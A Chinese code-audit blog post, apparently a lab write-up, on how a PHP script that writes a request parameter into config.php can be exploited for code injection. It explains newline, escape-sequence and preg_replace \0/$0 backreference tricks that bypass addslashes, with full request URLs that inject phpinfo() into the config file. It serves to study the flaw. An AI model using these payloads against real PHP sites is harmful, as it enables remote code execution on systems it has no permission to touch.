【代码审计】PHP写入配置文件getshell

看到小密圈的一个关于配置文件写入的题目,做一下记录。


问题代码:

1.php的内容如下:

【代码审计】PHP写入配置文件getshell_第1张图片

config.php的内容如下:

【代码审计】PHP写入配置文件getshell_第2张图片

preg_replace — 执行一个正则表达式的搜索和替换
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。


1)利用换行

首先请求:http://192.168.192.120/1.php?option=123%27;%0aphpinfo();//
然后查看下config.php的内容:

【代码审计】PHP写入配置文件getshell_第3张图片

然后在请求:http://192.168.192.120/1.php?option=123
然后查看下config.php的内容:

【代码审计】PHP写入配置文件getshell_第4张图片

2)利用转义

传入参数\’,经过addslashes处理后,会变为\\\’,随后preg_replace会将两个连续的\合并为一个,也就是将\\\’转为\\’,这样我们就成功引入了一个单引号,闭合了前面的单引号。
请求:http://192.168.192.120/1.php?option=123\%27;phpinfo();//
然后查看下config.php的内容:

【代码审计】PHP写入配置文件getshell_第5张图片

3)利用\0和$0

首先请求:http://192.168.192.120/1.php?option=;phpinfo();
然后查看下config.php的内容:

【代码审计】PHP写入配置文件getshell_第6张图片

preg_replace的replacement中可以包含捕获组,\0或者$0表示完整的匹配。
然后访问:http://192.168.192.120/1.php?option=$0

【代码审计】PHP写入配置文件getshell_第7张图片

或者访问http://192.168.192.120/1.php?option=%00
%00在经过addslashes处理后会变成\0

你可能感兴趣的:(【代码审计】,———代码审计系列)